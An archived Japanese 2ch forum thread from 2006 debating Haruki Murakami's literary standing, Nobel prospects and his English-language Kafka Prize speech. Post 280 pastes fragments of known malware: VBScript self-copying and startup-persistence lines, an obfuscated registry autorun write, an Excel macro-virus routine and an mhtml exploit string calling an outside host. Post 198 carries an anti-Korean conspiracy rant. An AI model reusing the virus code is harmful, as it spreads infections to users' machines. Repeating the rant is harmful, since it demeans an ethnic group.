【円貯めに】村上春樹・総合 4【ノーベルは無理】at BOOK
【円貯めに】村上春樹・総合 4【ノーベルは無理】 - 暇つぶし2ch150:吾輩は名無しである
06/10/13 21:24:54
くっさー
豚って臭いや
Q:なんで臭いの?

A:豚だから

何で豚は臭いの? 豚だから意味はない。

151:白石昇 ◆ywq0.8TYV6
06/10/13 22:27:38

ゴミ野郎

152:吾輩は名無しである
06/10/14 04:07:46
村上なんて受賞したらノーベル文学賞の権威も下がる

153:吾輩は名無しである
06/10/14 16:44:35
>>126
日本だけだと思うんだけど
エンタメだとか純文学とか気にしているのは

154:吾輩は名無しである
06/10/15 00:06:59
エンタメと文学をごっちゃにしてるのが日本だけ

155:吾輩は名無しである
06/10/15 00:23:55
なわけない。

156:吾輩は名無しである
06/10/15 00:51:40
ドイツでも春樹の本はジャンクフードだとかなんだとか一部で言われてるよ

157:吾輩は名無しである
06/10/15 03:04:55
まぁ、パール・バックなんかも受賞してるわけだしねぇ。

158:吾輩は名無しである
06/10/15 03:22:47
バックについてはノーベル関係者も汚点だったと自省してたぞ

159:吾輩は名無しである
06/10/15 07:44:35
>>156
勘違いしないで欲しいのは、それがアメリカの思想だということ。

160:吾輩は名無しである
06/10/15 12:24:04
バックは作品より人間性じゃないのかな
文学賞じゃなくても現代だったらノーベル平和賞充分とれるくらいのことしてる


161:吾輩は名無しである
06/10/15 12:27:20
ハルキは、自分の印税を社会の貧しい層や
反戦や人種差別撤廃のために使うとは到底思えない

162:吾輩は名無しである
06/10/15 12:45:42
 そもそも村上は儲けた金をどうしようというのか?そちらのほうが
ぜんぜんおもしろいな。彼のライフスタイルでは使いきれないだろう
に。金は儲け方も使い方も人格を表すから、作家論ではかかせない事
項なのだ。

163:  ◆/n0y0.pQvo
06/10/15 17:18:00
>>138
ノーベル賞は、世界的人類的配慮が欠かせない。
平和賞がその典型だが、文学賞もまた。
人類の叡智を広範に共有するための装置ともいえる。

今年がトルコ初のパムクなら、来年は戦渦の地の詩人アドニス。
それから次は
韓国文学も未出だから、黄晳瑛かも。
高銀の獲得運動よりも作品の質がもの言うだろうな。

164:  ◆/n0y0.pQvo
06/10/15 17:20:31
日本も川端康成が取るまでには苦労があった。
マイナー言語圏の作家は同じ苦労を背負う。良き翻訳者に恵まれるのも必要。
今後も英語圏文学とその他とのバランスを取りながら
受賞の「順番」は決まっていくと思われ。

めぐり合わせということがある。
三島にしろ春樹にしろ、宿命下に生きて死に、作品のみ永く一人歩きする。それが芸術。


165:  ◆/n0y0.pQvo
06/10/15 17:28:47
次に日本文学に順番が巡ってきたら、
そしてその時に春樹が健在であれば、村上春樹がノーベル文学賞を取る。

100%確実。


166:吾輩は名無しである
06/10/15 17:32:54
永遠にないよ
エンタメとは別世界

167:吾輩は名無しである
06/10/15 17:38:48
人類的配慮というのが曲者のような気がする。まあ賞なんてものは
くれる者がいるから頂けるわけで、どんなにエライ人でもくれる人が
いなかったら、永久に貰えないよな。とポストコロニアル的に釣ってみる。


168:吾輩は名無しである
06/10/16 16:36:25
村上春樹文学には餓え、貧困、性欲といった人間の根幹から発生する
葛藤がないよ
だから、新鮮にみえるのかもしれんが、ちと早すぎたかもしれんな

169:吾輩は名無しである
06/10/17 00:46:19
>>166
でも海外ではエンタメと思われてないよ。
「純文学」だってさ。

170:吾輩は名無しである
06/10/17 07:23:45
リテラリーフィクション、だったっけ?
どう分類してるんだろうな

171:吾輩は名無しである
06/10/17 12:59:22
>>169
ノルウエーの森あたりから、オレは読まなくなった
それまでは、まあ~、新聞の四駒漫画文学程度の認識しかなかったが

172:吾輩は名無しである
06/10/17 13:32:02
村上が新鮮に見えた時代があったのかもしれない
しかし今となってはぬるすぎる

173:吾輩は名無しである
06/10/17 19:34:54
「心臓を貫かれて」を読んだヤシいる?


174:吾輩は名無しである
06/10/17 19:49:29
柏木博って人の本から。

しかし実際のところ、アメリカの都市は、ジェファーソンが描く田園都市のイメージからはほど遠い、市場経済の闘争の場となっているのが現実である。
たとえば、ロサンジェルスのかつての中心地は、八〇年代には、再開発不能の見捨てるほかない場所とまで言われていた。
そうしたアメリカの現実は、アメリカの市場経済のシステムそのものをまさに映し出している。
この中心性のなさが、他方では誰にでも了解可能な広告的フィクションを自らのアイデンティティとして生み出し続けているのではないか。
したがってそこでは、いわば捏造されたアメリカのイメージが蔓延することになる。
かつて、社会学者のジャン・ボードリヤールは、アメリカの都市は虚構であると延べた。
虚構としての現実は、誰もが納得できるさらに強烈な虚構の存在によって、虚構であることが認識されなくなっているのである。
ラルフ・ローレンのファッションはアメリカの虚構のアイデンティティをつくり続けている。
ファッションが国民のアイデンティティをデザインするということは、中心の存在しない市場システムとしてのアメリカ特有の現象とも言えよう。
しかし、まさしく中心が存在しないがゆえに、市場システムとしての「アメリカ」は、世界中に広がっていくことが可能になったのである。

175:吾輩は名無しである
06/10/17 19:51:08
別に春樹がとらなくても、“中国の春樹”や“インドの春樹”がとってくれるさ。

176:吾輩は名無しである
06/10/18 02:55:31
○○の春樹
じゃなくてもいいけど。

177:吾輩は名無しである
06/10/18 08:14:00
○○のロナウド

178:吾輩は名無しである
06/10/18 08:43:26
>>173
いい質問だ・・・ないな~
ただ単なる、ほのぼの小説

179:吾輩は名無しである
06/10/18 12:43:21
>>172処女作からしてアメリカナイズされてるよね。
日本人がアメリカに憧れた時代は良かったのだろう。
異国っぽいところが。
でも昔から伊丹十三のエッセイとかもっと凄い人がいたけどね。

180:吾輩は名無しである
06/10/18 13:13:19
スヌーピーの漫画を寄せ集めたような小説ってイメージかな?

181:吾輩は名無しである
06/10/18 13:54:20
>>180
スヌーピー!? それほど高尚なもんじゃないな!

182:吾輩は名無しである
06/10/18 14:23:43

URLリンク(ja.wikipedia.org)
>しかし、文章の平易さとは反対に作品のテーマや世界観は難解であり、
>読者が充分にそれらを理解できているかは難しいところがある

そうかな。めちゃくちゃ薄っぺらいと思うけど。

183:吾輩は名無しである
06/10/18 16:12:52
初期はメタフィクショナルでかっこよかったのに、ノルウェーくらいからプロット優先の凡人になってしまった。スプートニクのなんたらなんて、途中で投げ捨てましたよ。
あと、カフカもいらん。

184:吾輩は名無しである
06/10/18 16:52:15
>>182

村上って深読みされることで成立してるって言うか
もうそれしかなくなってる
本人にもどうやら自分の作品がわからないらしいから
無視していいと思うよ

185:吾輩は名無しである
06/10/18 18:50:08
土俗的なものへのデタッチの限界を90年代以降(特に地下鉄サリン事件以降)、
克服しようとあれこれ模索しているように思うんだけど、
それがまだ実作レベルではうまく成果を上げていないという感じかな。
アンダーグラウンドとか短編小説案内はいい仕事だったと思うよ。

186:吾輩は名無しである
06/10/19 00:52:46
>初期はメタフィクショナルでかっこよかった
ってセンスがやばいと思う

187:吾輩は名無しである
06/10/20 15:32:58
どんなセンスも基本的にはヤヴァイですから

188:吾輩は名無しである
06/10/21 14:43:16
電通のマーケット分析レポートにもとづいて入念に
作られた小説もどきって感じなんだよな。
できるだけ多数のマスに売れるように練りこんである。
できるだけ読んで反感を得ないように、特殊性・個性を取り除いて
できるだけ多くの人にあてはまるように

売るために書かれ、実際売れた本。「業界プロ」の商品。
私生活を見ても芸術家っぽい乱れや悩みみたいなものはほとんどない。
電通の勤め人みたいな感じ。

デンツ イラネ w

189:吾輩は名無しである
06/10/21 19:52:49
芸術家で乱れてない人も沢山いる。
丁度、前の世代が内向の世代だったわけだし。

190:吾輩は名無しである
06/10/21 19:58:01
近代というのが、ピカソの絵に象徴されるようなアレだったのかもしれないけど。

191:吾輩は名無しである
06/10/21 23:43:03
 電通のくだりは以前浅田彰が発言してましたね。そもそも「文学」は
大量生産が可能になった新聞がメディアとなって成立したのだから、私
は電通であっても別にいいのではと思います。ただ逆の言い方をすれば
そもそも「文学」になんらかの権威を認めたのがなにか大きな間違いで
あって、他にもっといいことを言うジャンルがあってもかまわないので
はないでしょうか?大衆のために書かれ、大衆に購読されることを前提
にした新聞で、権威をふるう者たちが必要とされたこと自体を必要とし
たのはなぜか?村上春樹が必要とされている理由もそこらへんにあるの
ではないでしょうか?

192:吾輩は名無しである
06/10/22 15:22:35
文学と新聞は関係ないと思う。

193:吾輩は名無しである
06/10/22 15:24:01
エンタメが権威を持たず売り上げのみを持つのは自然なこと

194:吾輩は名無しである
06/10/22 15:25:21
売れるを越えて売りつけられている本 w

195:吾輩は名無しである
06/10/22 18:35:00
 文学と新聞が関係ないって?お笑い種だ。

196:吾輩は名無しである
06/10/22 23:31:33
馬鹿は図式が好き w

197:吾輩は名無しである
06/10/23 01:59:30
 もっともなご意見。村上春樹はその図式に見事にはまっているわけだ。

198:吾輩は名無しである
06/10/23 02:34:01
ガチで純文学が扱うべきテーマ

電通 捏造朝鮮ブーム
成田豊会長(朝鮮人)

反日売国 電通 推奨企業CM

サラ金(朝鮮高利貸し)
パチンコ(朝鮮ギャンブル、非公営、金正日信用金庫)
ヤクザ周防バーニング事務所タレント

その他
朝日新聞、TBS、など、きりね~



199:吾輩は名無しである
06/10/24 10:53:47
>>198
他の掲示板でも電通の人事について、胡散臭いところがあるらしいが、
要は、電通は朝鮮総連の手も及んでるってことですかいな?

200:吾輩は名無しである
06/10/24 17:32:35
川端康成はノーベル賞受賞記念講演の結論で、西洋人と日本人は「心の根本がちがう」と明言している。実に後ろ足で砂をかけるやり方ではあるが、読む側としては面白い。講談社現代新書

201:吾輩は名無しである
06/10/25 00:29:07
宗教の時点から、自然観が違うわけよ。

202:吾輩は名無しである
06/10/25 20:41:59
だから村上春樹は落胆する必要はない!

203:吾輩は名無しである
06/10/25 20:44:42
朝日新聞は広告収入が激減したから、とある宗教団体に頼りつつあると、週刊新潮に書いてあった まあ世の中そういったものだ とか書いて気分がよいかどうかそれは当人にさえわからない秘中の秘。

204:吾輩は名無しである
06/10/25 23:22:29
アメリカは実は新興宗教大国らしいね。

205:吾輩は名無しである
06/10/27 03:53:31
とにかく「春樹、受賞するかもしれない」なんて
顔に出してるやつがいたら
そいつはガチで世界を知らないから

さて「サッカー日本代表はベスト4入りします!」並みの
笑える村上症患者がたたかれる日がいよいよやってきますた
ニュースが流れた瞬間から周りの村上症患者が馬鹿にされるかと
思うといい気分です
今年は馬鹿が馬鹿だと自覚するよい年なのです

206:吾輩は名無しである
06/10/27 04:43:04
>>205
少しでいいから根拠をしめしてくんないかな?
同意できるのかできないのか判断できないんだよね。
どうせしめせないよねw
乙w


207:吾輩は名無しである
06/10/27 04:50:19
>>206
関係ないけどお前ずっと村上龍のスレ荒らし続けてるキチ外だよね

208:206
06/10/27 07:12:25
村上龍スレなんぞで一度も発言したことないけど、
たぶん私はその「キチ外」とやらと同意見だと思う。
あなたとは意見が異なるに決まってるから。

てゆうか、こちらの質問には答えず、いきなりそんな言いがかりつけるのはなぜ?
要するに根拠は示せないわけということでしょ?
なるほどねw

209:渚 水帆(小説家)
06/10/27 12:26:42
こんにちは!
元阪大のアイドルで「森の妖精」とも呼ばれたことがある
小説家の渚 水帆です♪
岩井志麻子さんの小説のモデルになったり
中村うさぎさんと角川本社で対談したり
河村隆一さんの歌詞に影響を与えたことが自慢です★

先日は小学館のセカチューを担当した名編集者が
渚のデビュー作「ガラスの鼓動」(彩図社ぶんりき文庫)を読んで
芥川賞レベルと褒めてくれました!!るん♪

今度、村上春樹さんの文体そっくりに真似て
一作書いてやろうかなと思っています
期待していてください!!

PROFILE
大阪生まれ
高石市立東羽衣小学校卒業
四天王寺中学校卒業時「立学の精神」の賞を授与
大阪大学工学部卒業 在学時「阪大のアイドル」と呼ばれる
一時期劇団に所属し、芸能活動を行う
製薬会社研究職、化粧品アドバイザー、自動車会社、クレジット会社、生命保険営業
などで勤務の後執筆活動に入る

渚のHP
URLリンク(www5.ocn.ne.jp)
渚のファンサイト 小説「限られた才能でチューリップ」好評連載中!
URLリンク(www.geocities.jp)
渚のファンが集う掲示板 渚の写メも続々UP!(斉藤由貴似♪)
URLリンク(hp.jpdo.com)

210:吾輩は名無しである
06/10/28 03:09:25
>>205
だから世界の評価は日本国内での評価と違うんだってば。
あんな普通の小説でも大絶賛されちゃうだもの。

211:吾輩は名無しである
06/10/29 02:24:47
良くも悪くも自分のことにしか興味がない小説家であるし、
その読者もまた同じ。そういう意味では現代的であるけど
逆に言えば、もう乗り越えられる対象でしかない作家だと思う。
なんてね。

212:吾輩は名無しである
06/10/29 03:33:16
むしろ相手にせずに傍流化させてればいい話でしょ。

213:吾輩は名無しである
06/10/29 13:21:42
美のことしか考えてなかったような耽美派の二人も結局は文化勲章もらってるんだよね。

214:吾輩は名無しである
06/10/29 20:00:49
尼さんももらったしな。

215:吾輩は名無しである
06/10/31 06:58:15
短編集「パン屋再襲撃」
タイトル作はまたもアーヴィング「熊を撃つ」物

最初の二編はかろうじて読める
あとは。。。
「中国行きのスロウボート」と何でこんなにレベルに差があるんだ?

216:吾輩は名無しである
06/10/31 07:10:23
発音って大事だな

217:吾輩は名無しである
06/10/31 07:11:22
さっきの日テレで喋って、動く村上春樹初めて見た…
写真でみるより男前じゃないか

218:吾輩は名無しである
06/10/31 07:50:41
ちょ

俺も見たい動く村上春樹

昨日からテレビ注意してたのに見れなかった(´・ω・`)

219:吾輩は名無しである
06/10/31 11:25:47
俺もみたかったな。奥さんもでてたんでしょ?陽子さん。

220:吾輩は名無しである
06/10/31 11:56:32
スピーチしてるとこだったね。想像してたより貫禄あってカッコよかった。

221:吾輩は名無しである
06/10/31 11:58:36
奥さんの顔、初めて見た。
URLリンク(editorial.gettyimages.com)

222:吾輩は名無しである
06/10/31 12:05:09
髪型・・・

223:吾輩は名無しである
06/10/31 12:13:28
これまたイメージ外だな。ものすごい意思が強そう。

224:吾輩は名無しである
06/10/31 12:26:22
奥さんのほうが賢そう。

225:吾輩は名無しである
06/10/31 12:26:52
ギャルソン好きと見た

226:吾輩は名無しである
06/10/31 12:31:16
「海辺のカフカ」書いてるのが、あんなきもい紳士気取りのおっさん
だったとはな。全国の小中高生はさぞかし夢を打ち砕かれたはずだ。


227:吾輩は名無しである
06/10/31 12:32:30
ヨーコ

こりゃまたこういう名前がおおいんかね芸術系妻には

228:吾輩は名無しである
06/10/31 12:39:22
>>226
それは春樹ファンの誰もが通る道だから無問題

229:吾輩は名無しである
06/10/31 12:47:30
その道を通るととたんに冷めるんだよな。
あのときの俺はなんだったんだろうって。

春樹の場合は相手がたまたま「よーこ」だったんじゃなくて
「よーこ」だから結婚したんだよ。全部そういうこと。

230:吾輩は名無しである
06/10/31 13:38:58
大量のフラッシュを浴びながら英語でスピーチしてたよ
「カフカは最も好きな作家の一人です。
初めて触れた彼の作品は十五歳の時に読んだ「城」です。」みたいな事いってた
発音がその辺の学生と変わらないのが、ちょっとがっかりだったけど

231:吾輩は名無しである
06/10/31 16:53:03
問題は発音じゃなくて仕事の中身だろ。

232:吾輩は名無しである
06/10/31 19:21:56
>>230 俺も朝のNHKのニュースで見た。意外と低い声だったのが印象的
だった。まあ、発音は日本人的で、流れるような英語でのスピーチでは
なかったが、おそらくマスコミでの初めての肉声だと思うと、ちょっと
感動した。

233:吾輩は名無しである
06/10/31 20:06:26
動く春樹うp汁

234:吾輩は名無しである
06/10/31 22:11:45
報道ステーションでやる?やってほしいなあ。

235:吾輩は名無しである
06/10/31 22:18:16
カフカ賞おめでとう
嬉しそうにしてたみたいだね
改めて思うが、やはり世界的な作家だ

236:吾輩は名無しである
06/10/31 23:27:02
NEWS ZEROで取り上げてた

237:(o^-^o) ◆m0yPyqc5MQ
06/10/31 23:34:04
はるきちのまいるすとーんとしてお似合いのこじんまりした賞でよかったすね


走れはしれ

238:吾輩は名無しである
06/10/31 23:49:41
あの語学力で大学の講師ができたのか。すげえ。

239:吾輩は名無しである
06/11/01 00:08:17
あっ、保坂がテレビでてる、と思った

240:吾輩は名無しである
06/11/01 00:19:28
>>236
げっ 見逃した! あれと石館はニュースがお笑い臭くて見ない…
惜しいことしたな。BSでやるかも、ロシアかドイツ

241:吾輩は名無しである
06/11/01 11:14:00
基本的なことでスマンが、彼って芥川賞は取ってなかったのでは?

242:吾輩は名無しである
06/11/01 11:42:17
早々と長編に手を出したからね。

243:吾輩は名無しである
06/11/01 12:18:33
もう作品内容は全く語られなくなったね

244:吾輩は名無しである
06/11/01 12:26:41
春樹文学はもう日本では通用しないってことですか?

245:吾輩は名無しである
06/11/01 14:49:02
春樹の会見の動画どっかで見れんのか?

246:吾輩は名無しである
06/11/01 15:17:10
見れるが?昨夜もヤフ某部屋で鑑賞会あっただろが

247:吾輩は名無しである
06/11/01 15:57:22
やっとうpされたかぁ
さすがネット時代こうでなくては

248:吾輩は名無しである
06/11/01 16:56:48
>あの語学力で大学の講師ができたのか。

プリンストンであぜんとされたのかもしれないし、いかにもよさそうに
「プリンストン大学で講義」とか書いてた出版社は終わっとる。
つか翻訳能力もどこまであるのか、どのくらい分担してるのかと www

249:吾輩は名無しである
06/11/01 17:29:28
動画どこよ?

250:吾輩は名無しである
06/11/01 21:06:29
>改めて思うが、やはり世界的な作家だ

感じ方は人それぞれだね
折れ的には「改めて思うが、やはりそこらのおっさんだ 。知性の代表、という
感じはまるでしない」だった

251:吾輩は名無しである
06/11/01 23:18:34

"Haruki Murakami, one of the world's greatest living writers"
  村上春樹   生存する、世界で最も偉大な作家の一人


URLリンク(www.praguemonitor.com)
Prague Daily Monitor


252:吾輩は名無しである
06/11/01 23:31:20
you tubeで見れたよ。
カンペありだったな 笑
つうか発音もアクセントも悪くないか?
castleは「キャッスル」じゃなくて、「キャッソウ」といはないと 笑

253:(o^-^o) ◆m0yPyqc5MQ
06/11/01 23:33:53
海外旅行好きれべるのやまと発音最強っ

254:吾輩は名無しである
06/11/01 23:38:53
低音の効いた、なかなか渋い声じゃないですか!
イメージと違うなぁ。

255:吾輩は名無しである
06/11/01 23:39:59
あと、the は「ザ」じゃなくて「ジィ」にしなさいと
僕は大学の先生に言われたポン

256:吾輩は名無しである
06/11/01 23:46:38
>>251
うpトンクス。
ニュース見てない動画見てない… 出遅れ鬱


257:吾輩は名無しである
06/11/01 23:47:49
you tubeで見れる??

258:吾輩は名無しである
06/11/01 23:52:44
>251

ヨーロッパでよくある辞令に過ぎない
初めて紹介される時そう言われない確率は半分くらいじゃね?
真にすごいと思われてるときはone of はつかない
そのつかない場合でも誇張表現に過ぎず実際は上の8人以内程度の意味だ
本当のトップの3人と思われているときはliving regendとか言われる

259:吾輩は名無しである
06/11/01 23:54:13
>251
権威主義乙 w

260:吾輩は名無しである
06/11/01 23:55:22
権威主義は、内容に自信がない者がタイトルに頼る心理

261:吾輩は名無しである
06/11/01 23:57:52
>>251
素晴らしいなあ、一度でいいから掲載されてみたいよ。
俺も大成していずれ載るからな、別ジャンルだけどw

262:吾輩は名無しである
06/11/02 00:01:55
されたくないな
大衆作家と同レベルは御免

263:(o^-^o) ◆m0yPyqc5MQ
06/11/02 00:04:37
ふーふなかよしではっぴーはっぴーv(^-^)vべいびい

 ま

しょせんはるきちだけどwww

264:吾輩は名無しである
06/11/02 00:17:42
>>258
URLリンク(dictionary.goo.ne.jp)

265:吾輩は名無しである
06/11/02 00:17:58
あれ、もうようつべから消えた・・?

266:吾輩は名無しである
06/11/02 01:01:25
>>261
なにジャンルか言え。言えなければ2ch名物大言壮語w

267:吾輩は名無しである
06/11/02 01:04:40
しかしな、タイトルにカフカの名を掲げた作品を書いているというのも、
いかにも物欲しげで、なんか嫌だな。

268:吾輩は名無しである
06/11/02 01:37:57
「山のドストエフスキー」よりは

269:吾輩は名無しである
06/11/02 09:17:36
日本人の多くの人がソニーの製品を別段意識しなくとも買わなくなったと
同じくらい、村上春樹の小説を今さら読むお大尽はいなくなっただろう。

270:吾輩は名無しである
06/11/02 15:35:53
素朴な疑問なんだけど,春樹が文学ではないという主張の根拠って何?

271:吾輩は名無しである
06/11/02 22:15:37
少しはさかのぼって読めば?

272:吾輩は名無しである
06/11/02 22:17:26
【あれで本当に】村上春樹・総合 5【翻訳してるのか?】

273:吾輩は名無しである
06/11/02 23:46:32
URLリンク(www.youtube.com)
春樹の講演だよ

274:吾輩は名無しである
06/11/03 07:01:09
>>1
外国の文学なんか円貯めなのにな
ほんとバカだ>>1

275:吾輩は名無しである
06/11/03 10:06:03
>>274
自白乙

276:吾輩は名無しである
06/11/03 10:07:38
世界の春樹ってそのレベルね

277:吾輩は名無しである
06/11/03 10:11:33
273
春樹スピーチのあいだ後ろの授賞側のチェコ老人が全く春樹に注意を向けてない
というか
「異物が入ってきたな、ま、今回はビジネスだからしょうがねぇな」
という表情をしていることが興味をひくね

278:吾輩は名無しである
06/11/03 10:13:28
ところで授賞式前にメディア取材の参加範囲・方法で直前まで
モメたってのはどういうことだったか詳しく教えろ

279:吾輩は名無しである
06/11/03 10:18:59
★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★
全く春樹に注意を向けてない というより
最初注意して聞いてたのが
まるっきり中学生な内容だったので(「こどものころ読んで本当に衝撃を受けました」)、
あきれて注意して聞くのをやめ宙を見て
ゴミを払うしぐさをした

これは注目すべきしぐさである
すべてが崩れながら露見していく
★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★

280:吾輩は名無しである
06/11/03 10:34:12
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLリンク(www.loadcash.biz)
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+
chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???

281:吾輩は名無しである
06/11/03 10:46:23
>>273
最後の椅子に座っているシーンで、
隣に座っている日本人女性が奥さんなのか?

282:吾輩は名無しである
06/11/03 10:57:15
そうだよ
ノルウェイ書いたのは彼女だとも考えられている

283:吾輩は名無しである
06/11/03 11:07:37
だから一緒に受賞式に出てるのか

284:吾輩は名無しである
06/11/03 12:25:39
英語下手だったね。アメリカの大学で教えているくらいだから
もっと上手いのかと思っていた。浅田彰が村上春樹の翻訳は
柴田元幸がブレーンになってると言ってたけど
本当かもしれない。

285:吾輩は名無しである
06/11/03 12:32:14
発音が悪いだけならなんとも思わないが、
あそこまで下手だとちょっとショック。
日本語で考えたスピーチをなんとか英訳してみましたという感じ。
どっかのサイトに春樹が英語で答えてるインタビューが掲載されているのを
読んだ時はちゃんと喋れるんじゃんと思ったけど、
あれは相当修正が加えられていたということか。

286:吾輩は名無しである
06/11/03 12:38:44
>>284
有名作家が翻訳をしたとされている本はたいてい、
1.下訳担当者が英語から日本語に翻訳する
2.有名作家がその日本語をちゃんとした日本語に直す
というのがほとんど。

ただ、村上春樹はこのパターンには当てはまらない、
最初から自分でやる数少ないタイプ。
とりあえず最初から最後まで全部自分で翻訳して、
それを柴田に見てもらうという形を取っていたらしい。
最初の頃は、busとbathを間違えるという信じられないようなミスもあったらしい。

287:吾輩は名無しである
06/11/03 12:41:44
公職にある柴田元幸が癒着してるんか
柴田元幸イラネ

288:吾輩は名無しである
06/11/03 12:46:08
とりあえず最初から最後まで全部自分で書いて、
それをヴォネガットやチャンドラーやクリスティー、さらには丸谷才一に
見てもらうという形を取っていたらしい。

てか

289:吾輩は名無しである
06/11/03 12:56:47
>>busとbathを間違える

「熊を放つ」の翻訳時かな
ついでにパクってるわけだが ww
「象の消滅」は「熊を放つ」第2章ノートブックの3回めの動物園偵察あたり
からのコピー

「もうじき閉園です」と声がかかる。・・・閉園のあとで警備員がやってきて
動物の体を洗おうとして、僕をみつけるかもしれない。
・・・ユーコン・ドールシープ本人は、いろんながらくたをセメントでくっつ
けた人口の山のてっぺんに座っていた。
   「熊を放つ」 第2章ノートブック の 3回めの動物園偵察より

290:吾輩は名無しである
06/11/03 12:57:46
さすがは「世界」 w ワラ)

291:吾輩は名無しである
06/11/03 12:59:11
会見のせいで今までミステリアスな感じだったのが
いきなりメッキがはげたな、って思った。
メディアは偉大


292:吾輩は名無しである
06/11/03 13:01:12
リューイチ・サカモト級のコピー猿 www

293:吾輩は名無しである
06/11/03 13:03:22
改めて思うが、やはりそこらのおっさん
知性の代表、という 感じはまるでない

294:吾輩は名無しである
06/11/03 13:05:32
I really appreciate this ahh Franz Kafka International Literary Prize, mainly because
Franz Kafka is my one of the my favorite authors of all time.
I encountered his work, Franz Kafka's work, when I was 15 years old.
It was the first time. That book was "The Castle".
That was a great incredible book, and that book gave me too many shock.

×Franz Kafka is my one of the my favorite authors of all time
○Franz Kafka is one of my favorite suthors of all time

×It was the first time
○敢えてこういう言い方をするのであれば、ItではなくてThat
ただ、I encountered his work for the first time when I was 15と言った方がすっきりする

×That book was "The Castle"
○It was "The Castle"

×That was a great, incredible book
○It was a great, incredible book

×that book gave me
○it gave meもしくはthe book gave me

×too many shock
○great amount of shock

I was terribly shocked by it's contentと言ってしまった方がいい。


295:吾輩は名無しである
06/11/03 13:06:37
しょせんはエンタメだから

296:吾輩は名無しである
06/11/03 13:10:23
でも手元にカンペがあるみたいだったよね?

それなのにTOO MANY SHOCK って中学生のスピーチ・・・・・www

297:吾輩は名無しである
06/11/03 13:50:38
4ヶ国語が完璧な浅田彰さんにまた笑われるかもしれない。

298:吾輩は名無しである
06/11/03 14:07:53
私はターイ語をNHK語楽紀行の範囲で
完璧にマスターしましたが何か?

299:吾輩は名無しである
06/11/03 14:12:18
>>294
あなたもけっこうな春樹ヲタだね。
恐れ入りました。

300:吾輩は名無しである
06/11/03 16:07:54
こんなぐらい普通でオタとは言わん

この編集者は無知、というより物事への態度が異様に薄っ平なんだが
そんなでよく社会人が務まるな

301:吾輩は名無しである
06/11/03 21:03:08
川端  凍りそうな海
大江  30000メートルプール

--------------- 混じりようのない質の差 -------------------

村上  ぬるま湯町営温泉施設

302:吾輩は名無しである
06/11/04 01:25:55
川端と村上はいいとして、大江30000メートルプールというのが
笑えるね。うまいよ。ありえなさが。

303:吾輩は名無しである
06/11/05 05:39:05
なんか改行が多いスレですね

304:吾輩は名無しである
06/11/05 10:14:00
「凍りそうな海」より「ぬるま湯町営温泉」のほうがいいよね。
「30000メートルプール 」は、あったら最高。

305:吾輩は名無しである
06/11/05 18:52:20
大江もそうだけど、春樹も無理して
英語でスピーチする必要はないと思うんだけどな。
日本語で作品を書いてるんだからさ、日本語でスピーチすればいいのに。

306:吾輩は名無しである
06/11/06 17:59:18
●カフカ賞受賞村上春樹が初めて発言した「ノーベル賞から憲法改正問題まで」

明日発売の「週刊朝日」11/17号にて、掲載されています。

307:吾輩は名無しである
06/11/08 00:15:36
3日で読んだ『ノルウェイの森』だが、マジで糞つまらなかった。
本当に何の感銘も受けなかったよ。
1度も心動かされることがなかった。

こんなんがのもしノーベル獲ったら、
受賞してない大物たち(クンデラ、ヴァルガス・リョサ、デリーロ、
アップダイク、アーヴィング、ノーマン・メイラー)に失礼だな。

308:吾輩は名無しである
06/11/08 11:14:12
「ノーベル賞から憲法改正問題まで」 って・・・・・  ワラ)
川上ひろみ並みだな


受賞する可能性もないのに馬鹿だな
タイトルは大江向きだしな

309:吾輩は名無しである
06/11/12 21:20:47
...

310:吾輩は名無しである
06/11/14 04:56:26
>>308
そんなの週刊誌側が決めたタイトルでしょうが。
それに別にノーベル賞が欲しいって言う記事内容ではないよ。

311:吾輩は名無しである
06/11/14 19:17:04
にじみ出てるよ w

312:吾輩は名無しである
06/11/14 20:43:47
でてねぇよ

313:吾輩は名無しである
06/11/15 20:40:27
ハハハ !

314:吾輩は名無しである
06/11/15 21:30:55
>>310
週刊誌側というより朝日新聞社出版局主導。
あのタイトルも記事も
「村上朝日堂」HPの丁稚イガラシこと五十嵐文生氏が書いたもの。
タイトルはまんま新聞の見出し調だが
内容は新刊ムック『ひとつ、村上さんでやってみるか』のPRのみ。
HPに読者から寄せられたメールに村上春樹が答える「形」で
それを本にした。ま、読者メールの何割が朝日の記者たちの手になるものか…
その辺は不明である。


315:吾輩は名無しである
06/11/17 21:32:28
春樹を純文学だと言うのはミスチルをロックというような違和感がるけど、
まあ、別にカテゴリーなんか別に如何でもいいじゃないという気もする。


316:吾輩は名無しである
06/11/23 07:31:10
それにしても平凡なことしかいえないなこいつは

317:吾輩は名無しである
06/11/24 09:42:34
平凡なおっさん 春樹

318:吾輩は名無しである
06/11/24 11:30:17
最近、スヌーピーの漫画読んでるが、ハイソな会話はとても春樹君は
敵わないな・・・
スヌーピー、かなりの上手w

319:吾輩は名無しである
06/11/27 22:36:03
>>273
見たかったのに消えてる・・・

320:吾輩は名無しである
